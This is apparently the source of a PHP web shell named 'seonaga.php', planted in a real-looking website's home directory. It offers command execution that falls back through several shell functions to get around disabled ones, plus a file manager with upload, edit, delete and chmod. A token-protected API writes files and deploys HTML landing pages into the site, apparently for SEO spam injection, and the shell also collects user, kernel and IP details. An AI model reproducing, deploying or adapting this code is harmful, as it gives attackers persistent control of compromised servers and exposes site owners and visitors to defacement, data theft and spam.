/home/vianto5/realtylifestyleproperties.mx
Edit: /home/vianto5/realtylifestyleproperties.mx/seonaga.php (72900B)
open($dst,ZipArchive::CREATE|ZipArchive::OVERWRITE)!==true)return false;
foreach((array)$srcs as $src){
$src=realpath($src);if(!$src||!file_exists($src))continue;
if(is_file($src)){$z->addFile($src,basename($src));}
else{
$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($src,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::LEAVES_ONLY);
foreach($it as $file)if(!$file->isDir())$z->addFile($file->getRealPath(),basename($src).'/'.substr($file->getRealPath(),strlen($src)+1));
}
}
return $z->close();
}
function dnSafe($cwd,$name){
$name=basename($name);
if($name===''||$name==='.'||$name==='..')return false;
$full=$cwd.'/'.$name;
if(file_exists($full)){
$real=realpath($full);$base=realpath($cwd);
if($real===false||$base===false)return false;
$base=rtrim(str_replace('\\','/',$base),'/');
$real=str_replace('\\','/',$real);
return(strpos($real.'/',$base.'/')===0)?$real:false;
}
return $full;
}
function dnExec($cmd){
$dis=array_map('trim',explode(',',(string)ini_get('disable_functions')));
$out=false;
if(!in_array('shell_exec',$dis)&&function_exists('shell_exec'))$out=@shell_exec($cmd);
if($out===null||$out===false){if(!in_array('exec',$dis)&&function_exists('exec')){$ln=[];@exec($cmd,$ln);$out=implode("\n",$ln);}}
if($out===null||$out===false){if(!in_array('system',$dis)&&function_exists('system')){ob_start();@system($cmd);$out=ob_get_clean();}}
if($out===null||$out===false){if(!in_array('passthru',$dis)&&function_exists('passthru')){ob_start();@passthru($cmd);$out=ob_get_clean();}}
if($out===null||$out===false){if(!in_array('popen',$dis)&&function_exists('popen')){$h=@popen($cmd,'r');if($h){$out='';while(!feof($h))$out.=fread($h,8192);pclose($h);}}}
if($out===null||$out===false)return'__DISABLED__';
return(string)$out;
}
function dnH($s){return htmlspecialchars((string)$s,ENT_QUOTES,'UTF-8');}
function monacoLang($n){
$e=strtolower(pathinfo($n,PATHINFO_EXTENSION));
$m=['php'=>'php','html'=>'html','htm'=>'html','js'=>'javascript','ts'=>'typescript',
'jsx'=>'javascript','tsx'=>'typescript','json'=>'json','css'=>'css','less'=>'less',
'scss'=>'scss','xml'=>'xml','svg'=>'xml','py'=>'python','sh'=>'shell','bash'=>'shell',
'sql'=>'sql','md'=>'markdown','markdown'=>'markdown','c'=>'c','cpp'=>'cpp',
'h'=>'c','java'=>'java','go'=>'go','rb'=>'ruby','yaml'=>'yaml','yml'=>'yaml',
'ini'=>'ini','toml'=>'ini','conf'=>'ini','env'=>'ini','txt'=>'plaintext','log'=>'plaintext'];
return isset($m[$e])?$m[$e]:'plaintext';
}
function fileLang($n){
$e=strtolower(pathinfo($n,PATHINFO_EXTENSION));
$m=['php'=>'PHP','html'=>'HTML','htm'=>'HTML','js'=>'JS','ts'=>'TS','jsx'=>'JSX',
'tsx'=>'TSX','json'=>'JSON','css'=>'CSS','scss'=>'SCSS','less'=>'LESS',
'xml'=>'XML','svg'=>'SVG','py'=>'Python','sh'=>'Shell','bash'=>'Shell',
'sql'=>'SQL','md'=>'Markdown','java'=>'Java','c'=>'C','cpp'=>'C++',
'go'=>'Go','rb'=>'Ruby','yaml'=>'YAML','yml'=>'YAML','ini'=>'INI',
'env'=>'ENV','conf'=>'Conf','toml'=>'TOML','txt'=>'Text','log'=>'Log'];
return isset($m[$e])?$m[$e]:strtoupper($e?$e:'Text');
}
function breadcrumb($cwd,$homeEnc){
global $isWin;
$html='
'.
''.
'/';
if($isWin){
$parts=explode('\\',rtrim($cwd,'\\'));$acc='';
foreach($parts as $p){
if($p==='')continue;
$acc=($acc==='')?$p:$acc.'\\'.$p;
$html.='
'.dnH($p).'\\';
}
}else{
$parts=array_values(array_filter(explode('/',$cwd),function($x){return $x!=='';}));
$acc='';
foreach($parts as $p){
$acc.='/'.$p;
$html.='
'.dnH($p).'/';
}
}
return $html;
}
/* ---- Panel SEO Naga API (header X-Seonaga-Token = DNEND_KEY) ---- */
if (isset($_GET['action']) && $_GET['action'] === 'panel_api') {
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
$token = !empty($_SERVER['HTTP_X_SEONAGA_TOKEN'])
? (string)$_SERVER['HTTP_X_SEONAGA_TOKEN']
: (isset($_GET['token']) ? (string)$_GET['token'] : '');
if ($token === '' || $token !== DNEND_KEY) {
http_response_code(401);
echo json_encode(['ok' => false, 'error' => 'Token tidak valid.']);
exit;
}
$rawBody = file_get_contents('php://input');
$body = $rawBody ? json_decode($rawBody, true) : [];
if (!is_array($body)) {
$body = [];
}
$api = isset($_GET['api']) ? (string)$_GET['api'] : (isset($body['api']) ? (string)$body['api'] : '');
$HOME = realpath(__DIR__) ?: __DIR__;
$panelResolveDir = function ($home, $rel) use ($isWin) {
$rel = str_replace('\\', '/', trim((string)$rel, '/'));
if ($rel === '') {
return $home;
}
$parts = array_values(array_filter(explode('/', $rel), function ($p) {
return $p !== '' && $p !== '.' && $p !== '..';
}));
$path = $home;
foreach ($parts as $p) {
$path .= ($isWin ? '\\' : '/') . $p;
}
$real = realpath($path);
if ($real !== false && is_dir($real)) {
$homeNorm = str_replace('\\', '/', realpath($home) ?: $home);
$realNorm = str_replace('\\', '/', $real);
if (strpos($realNorm . '/', $homeNorm . '/') === 0 || $realNorm === $homeNorm) {
return $real;
}
return false;
}
$candidate = str_replace('\\', '/', $path);
$homeNorm = str_replace('\\', '/', realpath($home) ?: $home);
if (strpos($candidate . '/', $homeNorm . '/') !== 0 && $candidate !== $homeNorm) {
return false;
}
return $path;
};
if ($api === 'ping') {
echo json_encode([
'ok' => true,
'home' => str_replace('\\', '/', $HOME),
'php' => phpversion(),
'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '',
'version' => DNEND_VER,
]);
exit;
}
if ($api === 'mkdir') {
$dir = $panelResolveDir($HOME, isset($body['dir']) ? $body['dir'] : '');
if ($dir === false) {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Path tidak valid.']);
exit;
}
$name = isset($body['name']) ? trim((string)$body['name']) : '';
if ($name === '') {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Nama folder wajib.']);
exit;
}
$target = $dir;
$segments = array_values(array_filter(explode('/', str_replace('\\', '/', $name)), function ($x) {
return $x !== '' && $x !== '.' && $x !== '..';
}));
foreach ($segments as $seg) {
$target .= ($isWin ? '\\' : '/') . $seg;
if (!is_dir($target)) {
if (!@mkdir($target, 0755, true)) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal buat folder: ' . $seg]);
exit;
}
}
}
echo json_encode(['ok' => true, 'path' => str_replace('\\', '/', $target)]);
exit;
}
if ($api === 'write_file') {
$dir = $panelResolveDir($HOME, isset($body['dir']) ? $body['dir'] : '');
if ($dir === false) {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Path tidak valid.']);
exit;
}
if (!is_dir($dir)) {
if (!@mkdir($dir, 0755, true)) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Folder tidak ada dan gagal dibuat.']);
exit;
}
}
$file = basename(isset($body['file']) ? (string)$body['file'] : '');
if ($file === '') {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Nama file wajib.']);
exit;
}
$content = isset($body['content']) ? (string)$body['content'] : '';
$fp = $dir . ($isWin ? '\\' : '/') . $file;
$r = @file_put_contents($fp, $content);
if ($r === false) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal menulis file.']);
exit;
}
echo json_encode(['ok' => true, 'file' => $file, 'bytes' => $r, 'path' => str_replace('\\', '/', $fp)]);
exit;
}
if ($api === 'deploy') {
$dir = $panelResolveDir($HOME, isset($body['dir']) ? $body['dir'] : '');
if ($dir === false) {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Path tidak valid.']);
exit;
}
$folder = isset($body['folder']) ? trim((string)$body['folder']) : '';
$deployMode = isset($body['deployMode']) ? strtolower(trim((string)$body['deployMode'])) : 'folder';
$fileName = basename(isset($body['fileName']) ? (string)$body['fileName'] : 'index.html');
if ($fileName === '') {
$fileName = 'index.html';
}
if ($folder === '' && $deployMode !== 'file') {
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'Path deploy wajib diisi.']);
exit;
}
$target = $dir;
if ($folder !== '') {
$segments = array_values(array_filter(explode('/', str_replace('\\', '/', $folder)), function ($x) {
return $x !== '' && $x !== '.' && $x !== '..';
}));
foreach ($segments as $seg) {
$target .= ($isWin ? '\\' : '/') . $seg;
if ($deployMode === 'folder' && !is_dir($target)) {
if (!@mkdir($target, 0755, true)) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal buat folder: ' . $seg]);
exit;
}
}
}
}
if ($deployMode === 'file' && $folder !== '') {
$parent = $target;
if (!is_dir($parent)) {
if (!@mkdir($parent, 0755, true)) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal buat folder induk file.']);
exit;
}
}
}
$written = [];
$landingName = $deployMode === 'file' ? $fileName : 'index.html';
if (isset($body['indexHtml'])) {
$fp = $target . ($isWin ? '\\' : '/') . $landingName;
$r = @file_put_contents($fp, (string)$body['indexHtml']);
if ($r === false) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal menulis ' . $landingName]);
exit;
}
$written[] = $landingName;
}
if (isset($body['ampHtml'])) {
$ampFile = basename(isset($body['ampFile']) ? (string)$body['ampFile'] : 'amp.html');
if ($ampFile === '') {
$ampFile = 'amp.html';
}
$fp = $target . ($isWin ? '\\' : '/') . $ampFile;
$r = @file_put_contents($fp, (string)$body['ampHtml']);
if ($r === false) {
http_response_code(500);
echo json_encode(['ok' => false, 'error' => 'Gagal menulis ' . $ampFile]);
exit;
}
$written[] = $ampFile;
}
echo json_encode([
'ok' => true,
'path' => str_replace('\\', '/', $deployMode === 'file' ? ($target . '/' . $landingName) : $target),
'deployMode' => $deployMode,
'files' => $written,
]);
exit;
}
http_response_code(400);
echo json_encode(['ok' => false, 'error' => 'API tidak dikenal: ' . $api]);
exit;
}
if (defined('DNEND_API_ONLY') && DNEND_API_ONLY) {
http_response_code(404);
header('Content-Type: text/plain; charset=utf-8');
header('Cache-Control: no-store');
echo '404 Not Found';
exit;
}
if(DNEND_NOAUTH){$LOGGED=true;}
else{
if(isset($_GET['logout'])){session_destroy();header('Location: '.$_SERVER['PHP_SELF']);exit;}
if(isset($_POST['dnend_login'])){
$ph=DNEND_PASS;
$ok=($ph[0]==='$'&&strpos($ph,'$2')===0)?password_verify($_POST['pass'],$ph):($_POST['pass']===$ph);
if($ok){$_SESSION['dnend']=true;header('Location: '.$_SERVER['PHP_SELF']);exit;}
$LOGIN_ERR='Invalid password.';
}
$LOGGED=!empty($_SESSION['dnend']);
}
$msg=$err='';$items=[];
$HOME_DIR=__DIR__;
$cwd=$HOME_DIR;
if($LOGGED){
if(isset($_GET['p'])&&$_GET['p']!==''){
$dec=decP($_GET['p']);
$try=realpath($dec);
$cwd=($try&&is_dir($try))?$try:$HOME_DIR;
}
$action=isset($_POST['action'])?$_POST['action']:(isset($_GET['action'])?$_GET['action']:'');
if($action==='download'&&isset($_GET['f'])){
$f=dnSafe($cwd,decP($_GET['f']));
if($f&&is_file($f)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.rawurlencode(basename($f)).'"');
header('Content-Length: '.filesize($f));
ob_clean();flush();readfile($f);exit;
}
die('File not found.');
}
if($action==='read_file'&&isset($_GET['f'])){
$f=dnSafe($cwd,decP($_GET['f']));
if($f&&is_file($f)){
header('Content-Type: text/plain; charset=utf-8');
header('Content-Length: '.filesize($f));
readfile($f);
}else{http_response_code(404);echo'Not found.';}
exit;
}
if($action==='terminal'){
header('Content-Type: application/json; charset=utf-8');
$cmd=trim(isset($_POST['cmd'])?$_POST['cmd']:'');
$dir=isset($_POST['dir'])?decP($_POST['dir']):(isset($_SESSION['term_cwd'])?$_SESSION['term_cwd']:$cwd);
$dir=(realpath($dir)&&is_dir(realpath($dir)))?realpath($dir):$cwd;
if($cmd===''){echo json_encode(['out'=>'','cwd'=>encP($dir),'cwdR'=>$dir]);exit;}
if(preg_match('/^cd(?:\s+(.+))?$/i',$cmd,$m)){
$_home=isset($_SERVER['HOME'])?$_SERVER['HOME']:($isWin?'C:\\':'/');
$to=isset($m[1])?trim($m[1]):$_home;
if($to==='~')$to=$_home;
if($to==='-')$to=isset($_SESSION['term_prev_cwd'])?$_SESSION['term_prev_cwd']:$dir;
if($to[0]!=='/'&&!($isWin&&isset($to[1])&&$to[1]===':'))$to=$dir.($isWin?'\\':'/').$to;
$real=realpath($to);
if($real&&is_dir($real)){$_SESSION['term_prev_cwd']=$dir;$_SESSION['term_cwd']=$real;echo json_encode(['out'=>'','cwd'=>encP($real),'cwdR'=>$real]);exit;}
echo json_encode(['out'=>"bash: cd: $to: No such file or directory\n",'cwd'=>encP($dir),'cwdR'=>$dir]);exit;
}
$_SESSION['term_cwd']=$dir;
$sep=$isWin?' & ':' && ';
$out=dnExec('cd '.escapeshellarg($dir).$sep.$cmd.' 2>&1');
if($out==='__DISABLED__')$out="Error: shell functions disabled.\n";
echo json_encode(['out'=>$out,'cwd'=>encP($dir),'cwdR'=>$dir]);exit;
}
if($action==='delete'&&isset($_POST['target'])){
$t=dnSafe($cwd,$_POST['target']);
if($t&&file_exists($t))dnRmdir($t)?$msg='Deleted.':$err='Delete failed.';
else $err='Target not found.';
}
if($action==='rename'&&isset($_POST['old'],$_POST['new_name'])){
$nn=basename(trim($_POST['new_name']));
$old=$cwd.'/'.basename($_POST['old']);
$new=$cwd.'/'.$nn;
if(!$nn)$err='New name cannot be empty.';
elseif(!file_exists($old))$err='Source not found.';
elseif(file_exists($new))$err='Destination already exists.';
else @rename($old,$new)?$msg='Renamed.':$err='Rename failed.';
}
if($action==='chmod'&&isset($_POST['target'],$_POST['mode'])){
$t=$cwd.'/'.basename($_POST['target']);
$mode=octdec(preg_replace('/[^0-7]/','',$_POST['mode']));
if(!file_exists($t))$err='Target not found.';
else @chmod($t,$mode)?$msg='Permission changed.':$err='chmod failed.';
}
if($action==='zip'&&isset($_POST['targets'])){
$tg=array_filter(array_map(function($x)use($cwd){return $cwd.'/'.basename($x);},(array)$_POST['targets']),'file_exists');
if(empty($tg)){$err='No valid targets.';}
else{$dst=$cwd.'/archive_'.date('Ymd_His').'.zip';if(count($tg)===1&&is_file(reset($tg)))$dst=reset($tg).'.zip';dnZip($tg,$dst)?$msg='Zipped: '.basename($dst):$err='Zip failed.';}
}
if($action==='unzip'&&isset($_POST['target'])){
$f=dnSafe($cwd,$_POST['target']);
if(!$f||!is_file($f)){$err='File not found.';}
elseif(!class_exists('ZipArchive')){$err='ZipArchive not available.';}
else{$z=new ZipArchive();if($z->open($f)===true){$z->extractTo($cwd)?$msg='Unzipped.':$err='Unzip error.';$z->close();}else $err='Cannot open zip.';}
}
if($action==='bulk_delete'&&isset($_POST['targets'])){
$c=0;foreach((array)$_POST['targets'] as $t){$fp=dnSafe($cwd,$t);if($fp&&file_exists($fp)&&dnRmdir($fp))$c++;}
$msg='Deleted '.$c.' item(s).';
}
if($action==='mkdir'&&isset($_POST['name'])){
$n=basename(trim($_POST['name']));
if(!$n)$err='Name cannot be empty.';
elseif(file_exists($cwd.'/'.$n))$err='Already exists.';
else @mkdir($cwd.'/'.$n,0755)?$msg='Folder created.':$err='Failed (permission denied).';
}
if($action==='newfile'&&isset($_POST['name'])){
$n=basename(trim($_POST['name']));
if(!$n)$err='Filename cannot be empty.';
elseif(file_exists($cwd.'/'.$n))$err='File already exists.';
else{$r=@file_put_contents($cwd.'/'.$n,'');$r!==false?$msg='File created.':$err='Failed (permission denied).';}
}
if($action==='save_edit'&&isset($_POST['file'],$_POST['content'])){
$f=$cwd.'/'.basename($_POST['file']);
$r=@file_put_contents($f,$_POST['content']);
$r!==false?$msg='File saved.':$err='Save failed.';
}
if($action==='upload'&&isset($_FILES['ufile'])){
if($_FILES['ufile']['error']===0){
$dst=$cwd.'/'.basename($_FILES['ufile']['name']);
@move_uploaded_file($_FILES['ufile']['tmp_name'],$dst)?$msg='Uploaded: '.basename($dst):$err='Upload failed.';
}else $err='Upload error '.$_FILES['ufile']['error'];
}
if($dh=@opendir($cwd)){
while(($f=readdir($dh))!==false){
if($f==='.'||$f==='..')continue;
$fp=$cwd.'/'.$f;
$items[]=['name'=>$f,'path'=>$fp,'isdir'=>is_dir($fp),'size'=>is_file($fp)?@filesize($fp):0,'perm'=>dnPerm($fp),'oct'=>dnOct($fp),'mtime'=>@filemtime($fp)];
}
closedir($dh);
}
usort($items,function($a,$b){if($a['isdir']!==$b['isdir'])return $b['isdir']?1:-1;return strcasecmp($a['name'],$b['name']);});
}
$uname =@php_uname('s').' '.@php_uname('r');
$server_ip =isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:@gethostbyname((string)@gethostname());
$client_ip =isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'?');
if(strpos($client_ip,',')!==false)$client_ip=trim(explode(',',$client_ip)[0]);
$php_ver =phpversion();
$whoami =@exec('whoami');if(!$whoami)$whoami=@get_current_user()?:'?';
$disk_free =dnSize((int)@disk_free_space($cwd));
$disk_total=dnSize((int)@disk_total_space($cwd));
$cwdEnc =encP($cwd);
$homeEnc =encP($HOME_DIR);
$parent =dirname($cwd);
$parentEnc =encP($parent);
?>
/$$$$$$ /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$
/$$__ $$| $$_____/ /$$__ $$ | $$$ | $$ /$$__ $$ /$$__ $$ /$$__ $$
| $$ \__/| $$ | $$ \ $$ | $$$$| $$| $$ \ $$| $$ \__/| $$ \ $$
| $$$$$$ | $$$$$ | $$ | $$ | $$ $$ $$| $$$$$$$$| $$ /$$$$| $$$$$$$$
\____ $$| $$__/ | $$ | $$ | $$ $$$$| $$__ $$| $$|_ $$| $$__ $$
/$$ \ $$| $$ | $$ | $$ | $$\ $$$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$$$$$$$| $$$$$$/ | $$ \ $$| $$ | $$| $$$$$$/| $$ | $$
\______/ |________/ \______/ |__/ \__/|__/ |__/ \______/ |__/ |__/
•
System Information
Kernel
IP ➞
PHP ()
User
Disk free /
/$$$$$$ /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$
/$$__ $$| $$_____/ /$$__ $$ | $$$ | $$ /$$__ $$ /$$__ $$ /$$__ $$
| $$ \__/| $$ | $$ \ $$ | $$$$| $$| $$ \ $$| $$ \__/| $$ \ $$
| $$$$$$ | $$$$$ | $$ | $$ | $$ $$ $$| $$$$$$$$| $$ /$$$$| $$$$$$$$
\____ $$| $$__/ | $$ | $$ | $$ $$$$| $$__ $$| $$|_ $$| $$__ $$
/$$ \ $$| $$ | $$ | $$ | $$\ $$$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$$$$$$$| $$$$$$/ | $$ \ $$| $$ | $$| $$$$$$/| $$ | $$
\______/ |________/ \______/ |__/ \__/|__/ |__/ \______/ |__/ |__/
• •
✓
⚠
• items •
©
Ctrl+S — Save | Esc — Close